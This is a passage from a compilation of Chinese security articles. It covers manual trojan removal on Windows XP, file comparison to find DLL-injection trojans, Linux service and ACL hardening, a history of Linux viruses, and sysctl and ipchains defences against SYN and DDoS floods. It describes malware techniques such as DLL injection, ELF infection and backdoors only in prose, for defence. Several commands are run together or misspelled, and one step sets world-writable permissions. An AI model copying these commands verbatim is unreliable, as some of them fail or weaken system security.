打开“我的电脑”进入C:\Windows目录,发现一个可疑目录Backup,进去一看,果然启动项加载的Dll文件也在里面,但启动项加载的却不是这个目录中的文件,很显然这个目录就是木马的备份,先删除这个备份目录再说,但刚刚删除,大概一两秒的时间这个目录又被重新建立。这个木马还真狡猾,竟然在安全模式还能自动加载且监视备份文件,一旦备份文件被删除,马上又会建立。正所谓“以彼之道还施彼身”,它能监视且能自动建立备份目录,我如果能先将目录删除,然后抢在它的前面建立目录不就行了吗?因为Windows是不允许同一目录下有两个文件或目录同名的。但从备份目录被删除到被重新建立中间的间隔太短了,手工肯定是不行的,那么就用Dos时代的批处理吧!先建立如下的批处理文件,命名为Kill.bat,双斜杠之后是注释,实际操作时无需输入。Move c:\windows\backup c:\windows\bak //将Backup目录重命名为BakMd c:\windows\backup //在C:\windows下建立Backup目录这时再打开“我的电脑”,依次进入C:\windows目录,将Bak目录删除,即完成了木马备份文件的删除。

4、清除木马文件

重新建立一个批处理文件,命名为Kill2.bat,内容如下。cd c:\ //将当前路径改为C:盘的根目录cd C:\WINDOWS\Downloaded Program Files //将当前路径改为C:\WINDOWS\Downloaded Program Filesmove _IS_0518 c:\bak//将当前目录下的_IS_0518目录移动到C:根目录下并重命名为bak打开“我的电脑”,进入C:\,删除Bak目录,再进入C:\windows目录,删除Backup目录,即完成了木马文件的清除。

5、清理注册表

运行Regedit,分别将下面所列的键删除。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Advapi32

HKEY_CURRENT_USER/Software/advapi32

至此,Advapi32木马(因为在网上也没查到此木马的名字,所以就用它的自启动项键名来代替了)手工清理完毕。注:

1.第三步和第四步顺序千万不能对调,因为只有先删除备份文件,再删除木马文件,这时因为木马文件没有了,备份文件也没有了,所以木马也就没办法重新建立文件了。

2.以前也在报刊上看到过手工清除木马的例子,但大部分都是一些利用进程查看工具结束进程来实现的,由于此木马进程伪装隐蔽,笔者曾用IceSword查看,虽能初步判断木马隐藏在Svchost.exe进程中,但由于Windows XP中Svchost.exe进程比较多,所以不好判断其具体的隐藏位置,结束进程的方法也就不好实现了,反而用本文所提的方法就能轻松将木马剿灭。

3.本方法在Windows XP Pro + SP2下测试通过。

防范入侵之文件对比查杀嵌入式木马

作者:skyxnet 来源:赛迪网安全社区

新一代的嵌入式木马,也就是通常所说的dll型注入式木马,其运用了动态嵌入技术,动态嵌入最常见的是最常见的是钩子、API以及远程线程技术,而现在大多数的嵌入式木马都是运用远程线程技术把自己本身挂在一个正常的系统进程中,通常这一类木马清除起来比较困难。

随着计算机的发展,木马技术也在不停的发展,以冰河为首的老一代经典木马已经开始慢慢消失在经典木马行列中,取而代之的则是新一代的嵌入式木马,也就是通常所说的dll型注入式木马,其运用了动态嵌入技术,动态嵌入最常见的是最常见的是钩子、API以及远程线程技术,而现在大多数的嵌入式木马都是运用远程线程技术把自己本身挂在一个正常的系统进程中,通常这一类木马清除起来比较困难。

嵌入式木马之迷

那到底什么是嵌入式dll型木马呢?DLL的代码和其他程序几乎没什么两样,仅仅是接口和启动模式不同,只要改动一下代码入口,DLL就变成一个独立的程序了。当然,DLL文件是没有程序逻辑的,这里并不是说DLL=EXE,不过,依然可以把DLL看做缺少了main入口的EXE,DLL带的各个功能函数可以看作一个程序的几个函数模块。DLL木马就是把一个实现了木马功能的代码,加上一些特殊代码写成DLL文件,导出相关的API,在别人看来,这只是一个普通的DLL,但是这个DLL却携带了完整的木马功能,而dll木马的标准执行入口为dllmain,dllmain包含了木马的运行代码,或者其指向木马的执行模块,在dll木马中通过在另一个进程中创建远程线程(RemoteThread)的方法进入那个进程的内存地址空间被称为“注入”,当载体在那个被注入的进程里创建了远程线程并命令它加载DLL时,木马就挂上去执行了,没有新进程产生,这就是嵌入式dll木马。

因此黑客通常把dll木马注入到一些系统关键进程,如嵌入到ie浏览器,Explorer.exe中,来达到更好的启动和隐蔽自身的目的。如今除了专门的dll木马外,还有许多优秀的木马也可以选择生成一般的exe木马和dll木马2种类型,来提供给用户各种需要,其中的典型的木马是黑洞和灰鸽子,这2款经典之作就支持这2种服务端的生成,其生成的dll木马服务端的稳定性也相当出色,各大杀毒产商都将其列入重点查杀对象。

揪出嵌入式木马

在了解了嵌入式木马的工作原理后,我们应该如何来及时发现和清除这一类木马呢?不管是传统木马还是嵌入式木马,首先我们要了解木马的藏身之地,同传统木马一样system32同样也是嵌入式木马最喜爱的藏身之所,根据这个特点我们在安装好系统和必要的应用程序后,对该目录下的exe文件和dll文件做一个记录,运行CMD--转换目录到system32--dir *.exe>exe.txt & dir*.dll>dll.txt,这样所有的EXE和DLL文件的名称都被分别记录到exe.txt和dllback.txt中。

如果系统在以后的使用中出现异常而用传统的方法查不出来的时候,我们就要考虑是不是嵌入式木马在捣乱了,此时我们再次运行CMD--转换目录到system32--dir *.exe>exe1.txt & dir*.dll>dll1.txt将system32下的exe和dll文件分别再记录到exe1.txt和dll1.txt中,接下来我们就可以对2次记录的文件进行比较了,来判断是否存在嵌入式木马,方法如下:运行CMD--fc exe.txt exe1.txt>change.txt & fc dll.txt dll1.txt>change.txt,其含义为用fc命令比较exe和dll的2次记录文件,并将结果输出到change.txt中。这时我们就可以从change.txt中发现发生变化的exe和dll文件以及多出来的exe和dll文件,最后我们查看这些文件的创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马修改了。

如果有的话,在没有把握的情况下就把dll文件先删除到回收站中,以便误删以后还能文件还原,如果重新启动后系统没有任何异常,我们就可以彻底删除此dll文件了。但同时由于有的进程调用的DLL文件非常多,使得靠我们自己去一个一个去核对变的不太现实,所以此时我们可以借助一些工具来帮助我们缩小范围,其中NT进程/内存模块查看器ps.exe就是一款很不错的工具,用命令ps.exe /a /m >usedll.txt将系统目前正在调用的所有DLL文件名称保存到usedll.txt中,然后再用fc dll.txt usedll.txt>changenow.txt把比较结果输出到changenow.txt中,这样我们就能大大的缩小查找范围。同时端口也是值得我们重视的一部分,我们可以用进程端口查看工具Fport.exe来查看与端口对应的进程,一般木马开放的是高端口(但也不排除其使用了端口转发和复用技术)样还可以将范围缩小到具体的进程,然后结合Procedump.exe这款脱壳工具来查看此进程调用的dll文件,再利用上面介绍的文件比较法来比较,从而使得查找DLL木马变的更容易。针对端口我们还可以使用嗅探的方法来嗅探端口所传输的数据,如果数据异常则,再使用Fport来找出端口所对应进程然后再重复以上步骤。

实战文件对比法

以上讲了这么多方法来揪出嵌入式木马,也许大家看着这些操作无从做起,以下我将给出文件对比的主要步骤。

◆应用环境◆

Windows2000 pro,d:/test文件夹的对比

◆实战流程◆

步骤一:进入d盘test文件夹,对test文件夹下内容进行记录,运行CMD--转换目录到d:/test--dir *.exe>exe.txt & dir *.dll>dll.txt,如下图所示:

这样我们就会在d:/test下生成exe和dll两个记事本文件,内容分别如下:

exe.txt文件:

驱动器 D 中的卷是 娱乐

卷的序列号是 6078-F043

D:\test 的目录

2005-12-04 11:59a 26,772,480 dx81setup.exe

2005-12-04 11:59a 473,600 g5setup解码.exe

2 个文件 27,246,080 字节

0 个目录505,454,592 可用字节

dll.txt文件:

驱动器 D 中的卷是 娱乐

卷的序列号是 6078-F043

D:\test 的目录

2005-03-31 02:52a 36,924 php5apache.dll

2005-03-31 02:52a 36,925 php5apache2.dll

2005-03-31 02:52a 53,314 php5apache_hooks.dll

3 个文件127,163 字节

0 个目录505,454,592 可用字节

步骤二:我向test文件夹中拷贝几个exe和dll文件进去,再次重复步骤一,得到exe1.txt和dll1.txt两个文件,同样他们位于test文件夹中。

步骤三:比较exe.txt和exe1.txt文件以及dll.txt和dll1.txt文件,运行CMD--fc exe.txt exe1.txt>change.txt & fc dll.txt dll1.txt>change.txt,如下图所示:

对比后得到changedll.txt和changeexe.txt两个文件内容如下:

changedll.txt:

正在比较文件 dll.txt 和 DLL1.TXT

***** dll.txt

2005-03-31 02:52a 36,924 php5apache.dll

***** DLL1.TXT

2005-03-31 02:52a 417,792 fdftk.dll

2005-03-31 02:52a 90,112 fribidi.dll

2005-03-31 02:52a 346,624 gds32.dll

2005-03-31 02:52a 36,924 php5apache.dll

*****

***** dll.txt

2005-03-31 02:52a 53,314 php5apache_hooks.dll

3 个文件127,163 字节

0 个目录505,454,592 可用字节

***** DLL1.TXT

2005-03-31 02:52a 53,314 php5apache_hooks.dll

6 个文件981,691 字节

0 个目录475,787,264 可用字节

*****

其中我们只需看上面我加粗的部分,这部分内容为增加的文件。加粗部分上面一段dll.txt内容只显示一行信息2005-03-31 02:52a 36,924 php5apache.dll,其他文件内容信息省略了,这一行内容就代表了dll.txt中的内容,而加粗这部分DLL1.TXT中的2005-03-31 02:52a 36,924 php5apache.dll就代表了dll.txt中所有内容,剩下的就是我加粗了的文件了,即增加了的文件。

changeexe.txt:

正在比较文件 exe.txt 和 EXE1.TXT

***** exe.txt

2005-12-04 11:59a 473,600 g5setup解码.exe

2 个文件 27,246,080 字节

0 个目录505,454,592 可用字节

***** EXE1.TXT

2005-12-04 11:59a 473,600 g5setup解码.exe

2005-12-04 12:02p 13,058,048 mpsetup.exe

2004-10-30 09:11a 11,761,184 RealPlayer10-5GOLD_cn.EXE

2005-12-04 12:02p 3,963,392 Winamp278cn_DFX_Blue.EXE

5 个文件 56,028,704 字节

0 个目录475,787,264 可用字节

*****

以上增加了的内容为:

2005-12-04 12:02p 13,058,048 mpsetup.exe

2004-10-30 09:11a 11,761,184 RealPlayer10-5GOLD_cn.EXE

2005-12-04 12:02p 3,963,392 Winamp278cn_DFX_Blue.EXE

步骤四:判断以上增加的内容是否是自己,曾经安装在test文件夹中的exe或者dll文件,如果不是则删除即可。

结束语

总而言之要查杀这类嵌入式木马最有效的办法就是文件对比法,除了上面介绍的一些缩小查找范围的办法外,用户还可以自己再发挥想象把范围缩至最小,从而更加准确的查杀此类嵌入式木马,让嵌入式木马在我们面前无法遁形。

教你配置Linux操作系统安全管理服务

教你配置Linux操作系统安全管理服务

作者:dj5221314 来源:黑客基地

任何计算机安全措施的一个重要方面是维持实际控制服务的运行,让不必要的网络服务接受请求将提高系统的安全风险。即使这些网络服务对于服务器的某些功能是必要的也需要仔细管理,并且对其进行配置最小化不受欢迎的入侵和登录的可能性。

为Linux系统配置安全性时,使用/etc/inittab文件、runlevels和一两个服务管理“superdaemons”如inetd或xinetd直接管理服务。

Inittab

/etc/inittab文件用于系统的初始化过程启动系统服务。在一个配置好的系统上,虽然它一般都不会包括很多服务,但是在某些Linux系统的默认安装中会加载很多其他服务。/etc/inittab文件内容有些模糊,它的重要之处在于让服务管理变得相对简单。

首先,可不要通过/etc/inittab文件方式向系统启动项中添加服务。

第二,不要移除/etc/inittab文件中第一个冒号之前其第一个字段是单精度型的数字,或整个登录服务的前面部分。以单精度数字开头的行可以打开TTY控制台,所有服务在它们打开之前都一一列出,甚至列出其更重要的功能。也许有些例外情况,在不改动它时是很安全的,尤其如果不确定的情况下请不要改动。

第三,/etc/inittab在导入和runlevel选择的时候用于过程管理。一般不用于正常的系统操作。

第四,在导入时由rc系统开始添加步骤,而不是init系统。如果看看/etc/inittab的内容,将会注意到登录以rc0到rc6这样的字符结束。这是初始化系统如何处理runlevels的说明。

Runlevels

基于Linux操作系统的运转可以通过runlevels进行管理。不同的runlevels被定义成有不同的行为,就像Windows操作系统一样,它有正常操作模式、安全模式、在某些情况下还有DOS模式。

Runlevel 0用于关闭系统,如果软电源设置恰当,它能关闭系统电源。

Runlevel 1是单用户无网络的模式,它用于低水平的故障修复和管理操作。

Runlevel 2到Runlevel 5正常系统操作的多用户模式。Runlevel2和3是命令行模式,3有网络连接而2没有网络连接。Runlevel 5用于启动X Windows提供图形用户接口。

Runlevel 6用于系统重启,当整个init系统甚至bootloader 需要重启时采用它。

其他runlevels由系统管理员进行定义,但是“传统”UNIX系统没有此功能。这种情况下,他们不能被定义也不能被使用。

在shell处,可以输入runlevel命令找到以前的renlevel和当前runlevel。如果没有更改系统 runlevel ,命令的输出结果为大写N后面跟runlevel的数字,这里的N表示没有前runlevel,如果要更改runlevel,可以使用init命令,后面跟想要使用到的runlevel的数字。例如,输入init 6表示重启系统,或init 1 进入单用户模式。

配置runlevel的过程每一版本的情况都不同。例如,在Debian GNU/Linux系统中,位于/etc/init.d的服务脚本有来自/etc/rcN.d的路径与它们进行链接,这里的N表示需要配置的runlevel数字。以字母K开头的symlinks指示在进入runlevel时被杀死的程序,而以字母 S开头的symlinks指示在进入runlevel时被启动的程序。字母后面的数字值越大,从1到99,表示启动或杀死的时间愈靠后。

大多数基于RPM的版本都采用RedHat所用到的rc系统。比起基于Debian的系统,这一系统使用更复杂的路径结构,并且不同的基于RPM的系统之间也有很大的不同。说明书上提供了更多的关于管理runlevel的信息。

Inetd

一个用于Linux后台程序管理的“superdaemon”是众所周知的inetd,它是个用于服务管理的命令行工具。终止服务很简单:首先,作为根用户用文本编辑器打开/etc/inetd.conf文件。接下来,找到文件中需要终止的服务。最后,在服务所在行的最前面添加#符号(其他还有“尖顶符”和“英镑符”),如下所示。“注释掉”这一行,因此inted以后都不会启动这一服务。

编辑之前服务登录可能是下面这样:

ident stream tcp wait identd /usr/sbin/identd identd

停止之后,服务登录变成下面这个样子:

# ident stream tcp wait identd /usr/sbin/identd identd

如果正在卸载被登录参考的后台程序,可以删除文件中的某些行——是否通过包管理器进行卸载或删除执行文件卸载(对于上面的例子是/usr/sbin/identd文件)。

编辑/etc/inetd.conf文件之后,保存它,inetd以后则可以使用更改。编辑和保存一旦完成,可以在根部输入下面的命令使更改即时生效:

kill -HUP `pidofinetd`

使用修改(保存)后的配置文件会导致inetd重启。

Xinetd

另外一个称为xinetd的superdaemon比inetd更新颖更复杂,能完成更多的功能。但是对于关闭服务来说,他们的使用方法相似。

使用xinetd时,必须在/etc/xinetd.conf文件中添加一行关闭服务。如果只想简单的删除服务,必须删除好几行代码而不是一行。找到想要关闭的服务所在的那一块,在块的后面添加“disable = yes”这一行,或者删除整个块。例如,如果关闭telnet服务,需要像下面这样做。(这里的省略号代表了块的其他内容)

  service telnet

  {

  . . .

  disable = yes

  }

在某些系统中,对于某些服务,服务配置并不在/etc/xinetd.conf文件中。例如,像telnet这样的服务有可能在文件/etc/xinetd.d/telnet中,改变其服务配置方法与它在/etc/xinetd.conf文件中的方法是一样的。

编辑保存了/etc/xinetd.conf文件后或者更改了服务文件后,可以输入下面的命令让修改即时生效:

kill -USR2 `pidofxinetd`

这将通知xinetd程序,使用更改后的配置。

Xinetd除了关闭或移除服务配置之外,还可以用于控制远程主机登录服务。这将通过几个机制完成:

可以为服务指定一个允许的主机。例如:可以通过在服务配置文件中添加only_from = 192.168.0.101这一行限制主机登录telnet服务。尽管使用了词语“only”,但是它只能限制主机的数目,而不仅仅只一台主机。也可以使用部分地址指定完整的网络。例如:可以使用“only_from = 192.168.0.to”表示本地Class C的任何主机都能访问这个服务。

可以在配置文件中为某个服务指定禁止的主机。例如:可以在配置文件中添加“no_access = 192.168.0.102”这一行禁止这个主机远程访问telnet服务。这个也可以使用多次而且也可以使用部分地址指定多个主机。万一某个主机满足only_from和no_access两个限制,则会权衡确定其访问权限。如果xinetd不能确定哪个限制能被应用,则系统默认更安全的选项——服务不会开启。

超越服务管理

对于安全的远程服务访问,还有更多的事情可以做。应该恰当配置防火墙保护服务免受攻击。代理服务器、通过网关服务器端口推进以及网络地址转移都能有效减少服务攻击的风险。针对安全使用,那些用于登录正在运行的服务工具也应进行配置,例如,如果使用安全shell进行远程连接而没有使用X Server时,在SSH中调低X forwarding是很重要的。直接进行安全管理是保证Linux系统安全的重要部分,但是它也只是全面安全计划的一部分。

系统安全解读Linux文件权限设置方法

作者:lvvl 来源:赛迪网安全社区

Windows系统其实和Linux系统有相似的地方,Windows系统文件、目录的属性有只读、隐藏,而Linux也一样。

Linux中,每一个文件都具有特定的属性。主要包括文件类型和文件权限两个方面。可以分为5种不同的类型:普通文件、目录文件、链接文件、设备文件和管道文件。

所谓的文件权限,是指对文件的访问权限,包括对文件的读、写、删除、执行。Linux 是一个多用户操作系统,它允许多个用户同时登录和工作。因此 Linux 将一个文件或目录与一个用户或组联系起来。访问控制列表(ACL:Access Control List)为计算机提供更好的访问控制,它的作用是限制包括root用户在内的所有用户对文件、资源或者套接字的访问。下面就来教大家简单的设置方法。

步骤1 检查系统核心

首先检查你的Linux系统的核心是否有支持ACL的功能。因为Linux系统并不是每一个版本的核心都有支持ACL的功能,而最简单的方法就是检查系统目前的核心能否支持:

  [root@mail /]# cat /boot/config-kernel-version | grep -i ext3

  CONFIG_EXT3_FS=m

  CONFIG_EXT3_IDEX=y

  CONFIG_EXT3_FS_XATTR_SHARING=y

  CONFIG_EXT3_FS_XATTR_USER=y

  CONFIG_EXT3_FS_XATTR_TRUSTED=y

  CONFIG_EXT3_FS_ACL=y

此时如果能看到上面的几项则表示已经编译到核心中,ext3文件系统已支持ACL功能,这些功能在编译核心选项中都可以找到。

步骤2 挂载分区

你可以用下列的方式挂载分区并启用ACL:

#mount -t ext3 -o acl /dev/sda1 /fs1

你也可以直接写在/etc/fstab文件中,这样就可以在开机后支持ACL功能:

#vi /etc/fstab

步骤3 设置ACL权限

ACL常常针对个别用户来进行设置,下面是多个不同的例子:

例如需要创建test1、test2、test3三个用户,可以先用root身份登录系统,然后执行以下命令分别创建三个用户名和密码:

  [root@mail root]#adduser test1

  [root@mail root]#adduser test2

  [root@mail root]#adduser test3

  [root@mail root]#passwd test1

  [root@mail root]#passwd test2

  [root@mail root]#passwd test3

然后mount一个ext3文件到目录/fs1:

[root@mail root]#mount -t ext3 -o acl /dev/sda1 /fs1

再将test1 建立的文件设置读写的权限给test2 :

[root@mail root]#chmod -R 777 /fs1

让所有的用户都能增加文件到目录的权限。先用test1登录系统,执行命令:

  [test1@mail test1]# cd /fs1

  [test1@mail fs1]# echo "Create by test1" > test1.txt

  [test1@mail fs1]# chmod go-r test1.txt

  [test1@mail fs1]# ll test1.txt

  -rw------- 1 test1 test1 17 Jul 14 22:11 test1.txt

而如下操作则可以让除了test1有读写的权限外其他人没有读写test1.txt的权限(root除外),先用test2 登录系统后执行以下命令:

  [test2@mail test2]# cd /fs1

  [test2@mail fs1]# cat test1.txt

  cat : test1.txt Permission denied

接着用test1登录系统,执行如下命令:

[test1@mail fs1]# setfacl -m u:test2:rw test1.txt

这样就修改权限允许test2 有这个文件的读写权限。再看一下它的文件属性的变化:

[test1@mail fs1]# ll

-rw-rw-r--+ 1 test1 test1 10 Feb 16 13:52 test1.txt

会看到后面多了一个“+”,表示这个文件使用ACL的属性设置,再用命令getfacl来看ACL的文件属性设置:

  [test1@mail fs1]# getfacl test1.txt

  # file: test1.txt

  # owner: test1

  # group: test1

  user::rw-

  user:test2:rw-

  group::rw-

  mask::rw-

  other::r--

可以看到 test2 有权限读写这个文件。我们再用test2登录系统执行以下命令,看看发生了什么?

  [test2@mail test2]# cd /fs1

  [test2@mail fs1]# cat test1.txt

  Create by test1

原来test2可以读取test1.txt文件了。

  [test2@mail fs1]# echo "Modify by test2" >> test1.txt

  [test2@mail fs1]# cat test1.txt

  Create by test1

  Modify by test2

现在test2也可以修改test1.txt文件了。接着用test3 登录系统:

  [test3@mail test3]# cd /fs1

  [test3@mail fs1]# cat test1.txt

  cat : test1.txt Permission denied

嘿嘿,除了test1、test2外没有其他用户有读写test1.txt的权限(root 除外)。

看着虽然有点晕,其实命令就是这么一两条,主要是把各种情况给大家讲清楚,这样,大家在使用Linux中才会发现,比起脆弱的Windows的权限防护,Linux实在是做得相当不错!

谈谈针对Linux的病毒起源发展及分类

作者:lvvl 来源:赛迪网安全社区 

1996年的Staog是Linux系统下的第一个病毒,它出自澳大利亚一个叫VLAD的组织(Windows 95下的第一个病毒程序Boza也系该组织所为)。Staog病毒是用汇编语言编写,专门感染二进制文件,并通过三种方式去尝试得到root权限。 Staog病毒并不会对系统有什么实质性的损坏。它应该算是一个演示版。它向世人揭示了Linux可能被病毒感染的潜在危险。Linux系统上第二个被发现的病毒是Bliss病毒,它是一个不小心被释放出来的实验性病毒。与其它病毒不同的是,Bliss本身带有免疫程序,只要在运行该程序时加上 “disinfect-files-please”选项,即可恢复系统。

如果说刚开始时Linux病毒向人们展示的仅仅是一个概念,那么,在2001年发现的Ramen病毒,则已经开始引起很多人的担心。Ramen病毒可以自动传播,无需人工干预,所以和1988年曾使人们大受其苦的 Morris蠕虫非常相似。它只感染Red Hat 6.2和7.0版使用匿名FTP服务的服务器,它通过两个普通的漏洞RPC.statd和wu-FTP感染系统。

表面看来,这不是一个危险的病毒。它很容易被发现,且不会对服务器做出任何有破坏性的事情。但是当它开始扫描时,将消耗大量的网络带宽。

从1996年至今,新的Linux病毒屈指可数,这说明Linux是一个健壮的具有先天病毒免疫能力的操作系统。当然,出现这种情况,除了其自身设计优秀外,还有其它的原因。

首先,Linux早期的使用者一般都是专业人士,就算是今天,虽然其使用者激增,但典型的使用者仍为那些有着很好的电脑背景且愿意帮助他人的人,Linux 高手更倾向于鼓励新手支持这样一种文化精神。正因为如此,Linux使用群中一种倾向就是以安全的经验尽量避免感染病毒。其次,年轻,也是Linux很少受到病毒攻击的原因之一。事实上,所有的操作系统(包括DOS和Windows)在其产生之初,也很少受到各种病毒的侵扰.

然而,2001年3月,美国SANS学院的全球事故分析中心(Global Incident Analysis Center——GIAC)发现,一种新的针对使用Linux系统的计算机的蠕虫病毒正通过互联网迅速蔓延,它将有可能对用户的电脑系统造成严重破坏。这种蠕虫病毒被命名为“狮子”病毒,与Ramen蠕虫病毒非常相似。但是,这种病毒的危险性更大,“狮子”病毒能通过电子邮件把一些密码和配置文件发送到一个位于china.com的域名上。Dartmouth学院安全技术研究所工程师威廉·斯蒂恩斯说:“攻击者在把这些文件发回去之后就可以通过第一次突破时的缺口再次进入整个系统。这就是它与Ramen蠕虫病毒的不同之处。事实上,Ramen病毒是一种比较友善的病毒,它在侵入系统后会自动关闭其中的漏洞,而这个病毒却让那些漏洞敞开并开辟新的漏洞。以至于如果你的系统感染了这个病毒,我们不能百分之百确信这个系统有挽救的价值,更加合理的选择很有可能是转移你的数据并且重新格式化硬盘。”

一旦计算机被彻底感染,“狮子”病毒就会强迫电脑开始在互联网上搜寻别的受害者。不过,感染“狮子”病毒的系统少于感染Ramen病毒的系统,但是它所造成的损失却比后者大得多。

随着Klez病毒在Linux平台上的传染,防毒软件厂商开始提醒我们微软的操作系统不再是唯一易受病毒攻击的操作系统了。即使Linux和其他一些主流 UNIX平台的用户可能不是微软捆绑应用软件的大用户,不可能通过这些软件造成病毒的泛滥,Linux和UNIX仍然有它们自身并不引人注目的脆弱点。除了Klez以外,其他Linux/UNIX平台的主要威胁有:Lion.worm、OSF.8759病毒、Slapper、Scalper、 Linux.Svat和BoxPoison病毒,这些都很少被提及。

病毒的制造者是一些精通编写代码的黑客,他们远比那些胡乱涂改网站却对编写病毒知之甚少的黑客要危险。一个被黑掉的网站可以很快修好,而病毒却更加隐蔽,会带来潜在的安全隐患,它会一直潜伏,直到给系统带来不可挽回的损害。

另外,越多的Linux系统连接到局域网和广域网,就会有越多受攻击的可能,这是因为很多Linux病毒正在快速地扩散着。使用WINE的 Linux/UNIX系统特别容易受到病毒的攻击。WINE是一个公开源代码的兼容软件包,能让Linux平台运行Windows应用软件。 WINE系统特别容易遭受病毒的攻击,因为它们会使无论是对Linux的还是对 Windows的病毒、蠕虫和木马都能对系统产生威胁。

Linux平台下的病毒分类

可执行文件型病毒:可执行文件型病毒是指能够寄生在文件中的,以文件为主要感染对象的病毒。病毒制造者们无论使用什么武器,汇编或者C,要感染ELF文件都是轻而易举的事情。这方面的病毒如Lindose,当其发现一个ELF文件时,它将检查被感染的机器类型是否为Intel 80386,如果是,则查找该文件中是否有一部分的大小大于 2,784字节(或十六进制AEO),如果满足这些条件,病毒将用自身代码覆盖它并添加宿主文件的相应部分的代码,同时将宿主文件的入口点指向病毒代码部分。一个名为Alexander Bartolich的学生发表了一篇名为《如何编写一个Linux的病毒》的文章,详细描述了如何制作一个感染在Linux/i386的ELF可执行文件的寄生文件病毒。有了这样具启发性的、在网上发布的文档,基于Linux的病毒数量只会增长的更快,特别是自Linux的应用越来越广泛之后。

蠕虫(worm)病毒:1988年Morris蠕虫爆发后,Eugene H. Spafford 为了区分蠕虫和病毒,给出了蠕虫的技术角度的定义,“计算机蠕虫可以独立运行,并能把自身的一个包含所有功能的版本传播到另外的计算机上。” (worm is a program that can run by itself and can propagate a fully working version of itself to other machines. )。在Linux平台下,蠕虫病毒极为猖獗,像利用系统漏洞进行传播的ramen,lion,Slapper……这些臭名远播的家伙每一个都感染了大量的 Linux系统,造成了巨大的损失。它们就是开放原代码世界的nimda,红色代码。在未来,这种蠕虫病毒仍然会愈演愈烈,Linux系统应用越广泛,蠕虫的传播程度和破坏能力也会随之增加。

脚本病毒:目前出现比较多的是使用shell脚本语言编写的病毒。此类病毒编写较为简单,但是破坏力同样惊人。我们知道,Linux系统中有许多的以.sh结尾的脚本文件,而一个短短十数行的shell脚本就可以在短时间内遍历整个硬盘中的所有脚本文件,进行感染。因此病毒制造者不需要具有很高深的知识,就可以轻易编写出这样的病毒,对系统进行破坏,其破坏性可以是删除文件,破坏系统正常运行,甚至下载一个木马到系统中等等。

后门程序:在广义的病毒定义概念中,后门也已经纳入了病毒的范畴。活跃在Windows系统中的后门这一入侵者的利器在Linux平台下同样极为活跃。从增加系统超级用户账号的简单后门,到利用系统服务加载,共享库文件注射,rootkit工具包,甚至可装载内核模块(LKM),Linux平台下的后门技术发展非常成熟,隐蔽性强,难以清除。是Linux系统管理员极为头疼的问题。

病毒、蠕虫和木马基本上意味着自动化的黑客行为,也许被病毒攻击比被黑客攻击更可能发生。直接的黑客攻击目标一般是服务器,而病毒是等机会的麻烦制造者。如果你的网络包含了Linux系统,特别危险的是服务器,不要在作出反应之前等待寻找Linux病毒、蠕虫和木马是否存在。做一些调查然后选择一个适合你系统的防毒产品,它们能帮你防止病毒的传播。至于Linux平台病毒在未来的发展,一切皆有可能。Windows下的病毒发展史,也有可能在Linux上重演,这取决于Linux的发展。

用Linux系统防火墙功能抵御网络攻击

用Linux系统防火墙功能抵御网络攻击

作者:学无止境 来源:黑客基地

虚拟主机服务商在运营过程中可能会受到黑客攻击,常见的攻击方式有SYN,DDOS等。通过更换IP,查找被攻击的站点可能避开攻击,但是中断服务的时间比较长。比较彻底的解决方法是添置硬件防火墙。不过,硬件防火墙价格比较昂贵。可以考虑利用Linux系统本身提供的防火墙功能来防御。

1. 抵御SYN

SYN攻击是利用TCP/IP协议3次握手的原理,发送大量的建立连接的网络包,但不实际建立连接,最终导致被攻击服务器的网络队列被占满,无法被正常用户访问。

Linux内核提供了若干SYN相关的配置,用命令:

sysctl -a | grep syn

看到:

net.ipv4.tcp_max_syn_backlog = 1024

net.ipv4.tcp_syncookies = 0

net.ipv4.tcp_synack_retries = 5

net.ipv4.tcp_syn_retries = 5

tcp_max_syn_backlog是SYN队列的长度,tcp_syncookies是一个开关,是否打开SYN Cookie功能,该功能可以防止部分SYN攻击。tcp_synack_retries和tcp_syn_retries定义SYN的重试次数。

加大SYN队列长度可以容纳更多等待连接的网络连接数,打开SYN Cookie功能可以阻止部分SYN攻击,降低重试次数也有一定效果。

调整上述设置的方法是:

增加SYN队列长度到2048:

sysctl -w net.ipv4.tcp_max_syn_backlog=2048

打开SYN COOKIE功能:

sysctl -w net.ipv4.tcp_syncookies=1

降低重试次数:

sysctl -w net.ipv4.tcp_synack_retries=3

sysctl -w net.ipv4.tcp_syn_retries=3

为了系统重启动时保持上述配置,可将上述命令加入到/etc/rc.d/rc.local文件中。

2. 抵御DDOS

DDOS,分布式拒绝访问攻击,是指黑客组织来自不同来源的许多主机,向常见的端口,如80,25等发送大量连接,但这些客户端只建立连接,不是正常访问。由于一般Apache配置的接受连接数有限(通常为256),这些“假” 访问会把Apache占满,正常访问无法进行。 Linux提供了叫ipchains的防火墙工具,可以屏蔽来自特定IP或IP地址段的对特定端口的连接。使用ipchains抵御DDOS,就是首先通过netstat命令发现攻击来源地址,然后用ipchains命令阻断攻击。发现一个阻断一个。

打开Ipchains功能

首先查看ipchains服务是否设为自动启动:

chkconfig --list ipchains

输出一般为:

ipchains 0:off 1:off 2:on 3:on 4:on 5:on 6:off

如果345列为on,说明ipchains服务已经设为自动启动;如果没有,可以用命令:

chkconfig --add ipchains

将ipchains服务设为自动启动。

其次,察看ipchains配置文件/etc/sysconfig/ipchains是否存在。如果这一文件不存在,ipchains即使设为自动启动,也不会生效。缺省的ipchains配置文件内容如下:

英文代码

如果/etc/sysconfig/ipchains文件不存在,可以用上述内容创建之。创建之后,启动ipchains服:

# Firewall configuration written by lokkit

# Manual customization of this file is not recommended.

# Note: ifup-post will punch the current nameservers through the

# firewall; such entries will *not* be listed here.

:input ACCEPT

:forward ACCEPT

:output ACCEPT

-A input -s 0/0 -d 0/0 -i lo -j ACCEPT

# allow http,ftp,smtp,ssh,domain via tcp; domain via udp

-A input -p tcp -s 0/0 -d 0/0 pop3 -y -j ACCEPT

-A input -p tcp -s 0/0 -d 0/0 http -y -j ACCEPT

-A input -p tcp -s 0/0 -d 0/0 https -y -j ACCEPT

-A input -p tcp -s 0/0 -d 0/0 ftp -y -j ACCEPT

-A input -p tcp -s 0/0 -d 0/0 smtp -y -j ACCEPT

-A input -p tcp -s 0/0 -d 0/0 ssh -y -j ACCEPT

-A input -p tcp -s 0/0 -d 0/0 domain -y -j ACCEPT

-A input -p udp -s 0/0 -d 0/0 domain -j ACCEPT

# deny icmp packet

#-A input -p icmp -s 0/0 -d 0/0 -j DENY

# default rules

-A input -p tcp -s 0/0 -d 0/0 0:1023 -y -j REJECT

-A input -p tcp -s 0/0 -d 0/0 2049 -y -j REJECT

